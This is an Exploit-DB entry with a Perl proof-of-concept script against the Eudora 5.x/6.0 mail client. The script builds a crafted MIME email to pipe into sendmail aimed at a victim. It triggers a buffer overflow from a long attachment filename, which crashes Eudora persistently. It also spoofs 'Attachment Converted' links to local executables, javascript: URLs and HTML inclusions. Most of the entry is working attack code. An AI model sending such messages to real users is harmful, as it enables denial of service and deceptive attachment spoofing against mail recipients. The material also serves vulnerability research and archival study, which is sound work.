Exploit-DB #22334
Description: Qualcomm Eudora 5.0/5.1/6.0 - Long Attachment Filename Denial of Service (2)
Type: dos
Platform: windows
Date: 2003-03-05
Author: Paul Szabo

Exploit:
source: https://www.securityfocus.com/bid/7026/info
 
Eudora may crash when handling messages which contain attachments with excessively long filenames. This condition reportedly occurs when messages with malformed attachment filenames are stored in the user's mailbox, which could result in a persistent denial of service to the mail client.

#!/usr/bin/perl --

use MIME::Base64;

print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.0 on Windows exploit\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "\n";
print "This is a multi-part message in MIME format.\n";
print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n";
print "\n";

print "Pipe the output of this script into:   sendmail -i victim\n";

print "\nQuestion: Besides In.mbx, Eudora 6.0 also keeps In.mbx.001 and
In.mbx.002 files. Any way to turn this wasteful feature off?\n";

print "\nWith spoofed attachments, we could 'steal' files if the message
was forwarded (not replied to).\n";

print "\nSending a long filename e.g.:\n";
print "Attachment Converted\r: \"\\AAA...AAA\"\n";
print "(with 250 or so repetitions of \"A\") makes Eudora crash.
Eudora is then unable to start, until the offending message is
removed from In.mbx (using some utility other than Eudora itself).
This buffer overflow can easily be made into an execute-any-code
exploit (but is not shown here for script kiddies).\n";

print "\nWithin plain-text email (or plain-text, inline MIME parts) embedded
CR=x0d characters get converted internally into a NUL=x00 and ignored,
so we can spoof \"attachment converted\" lines:\n";

print "\nThe following work fine (but are boring and/or put up warnings):\n";
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted\r: c:\\winnt\\system32\\calc.exe\n";
print "(Note how JavaScript is done with IE, web with default browser Netscape)\n";
print "Attachment Converted\r: <A href=javascript:alert(%27hello%27)>hello.txt</a>\n";
print "Attachment Converted\r: <A href=http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx>web.txt</a>\n";
print "Attachment Converted\r: <A href=c:/winnt/system32/calc.exe>file.txt</a>\n";

print "\nIf we can guess the full path to the attach directory then can
change the name shown to anything we like, but get broken icon:\n";
print "Attachment Converted\r: <A href=H:/windows/.eudora/attach/calc>file.txt</a>\n";

print "\nCuteness value only:\n";
print "Attachment Converted\r: <A href=c:/winnt/system32/calc.exe>file1.txt</a> xyz <A href=c:/winnt/system32/calc.exe>file2.txt</a>\n";

print "\n<x-html>
With <b>HTML</b> <i>inclusions</i> we can do
<a href=c:/winnt/system32/calc.exe>file</a>,
<a href=\"http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\">http</a>
and
<a href=\"javascript:alert(\x27hello\x27)\">javascript</a>
references. Any way to exploit this?
</x-html>\n";

print "\n<x-rich>
Can also do RTF inclusions. Can this be abused?
</x-rich>\n";

print "\nThose <x-xyz></x-xyz> constructs allow spoofing
attachments easily, without embedded CR:\n\n";
print "HTML\n";
print "<x-html></x-html>Attachment Converted: \"xyz\"\n";
print "Rich\n";
print "<x-rich></x-rich>Attachment Converted: \"xyz\"\n";
print "Flowed\n";
print "<x-flowed></x-flowed>Attachment Converted: \"xyz\"\n";

print "\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"plain.txt\"\n";
print "Content-Transfer-Encoding: 7bit\n";
print "Content-Disposition: inline; filename=\"plain.txt\"\n";
print "\n";
print "Within a 'plain' attachment:\n";
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"qp.txt\"\n";
print "Content-Transfer-Encoding: quoted-printable \n";
print "Content-Disposition: inline; filename=\"qp.txt\"\n";
print "\n";
print "Within quoted-printable encoded parts still need the embedded CR:\n";
print "=41ttachment=20=43onverted\r=3a \"c:\\winnt\\system32\\calc.exe\"\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b64.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b64.txt\"\n";
print "\n";
$z = "Within base64 encoded (plain-text, inline) MIME parts, can spoof\r
without embedded CR (but line termination is CR-NL):\r
Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\r\n";
print encode_base64($z);

print "\n--zzz--\n";
print "\n";